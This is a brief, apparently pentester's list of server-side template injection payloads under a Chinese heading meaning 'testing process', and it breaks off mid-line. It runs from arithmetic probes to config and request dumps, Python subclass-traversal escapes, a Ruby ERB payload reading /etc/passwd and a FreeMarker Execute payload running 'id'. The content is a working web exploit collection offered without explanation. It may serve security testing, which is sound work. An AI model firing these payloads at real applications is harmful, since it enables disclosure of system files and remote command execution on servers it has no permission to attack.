测试过程

{
  {4*4}}[[5*5]]
{
  {7*7}}
{
  {7*'7'}}
<%= 7 * 7 %>
${3*3}
${
  {7*7}}
@(1+2)
#{3*3}
#{ 7 * 7 }
{
  {dump(app)}}
{
  {app.request.server.all|join(',')}}
{
  {config.items()}}
{
  { [].class.base.subclasses() }}
{
  {''.class.mro()[1].subclasses()}}
{
  { ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{
  { key|e }}</dt><dd>{
  { value|e }}</dd>{% endfor %}
{
  {'a'.toUpperCase()}} 
{
  { request }}
{
  {self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = &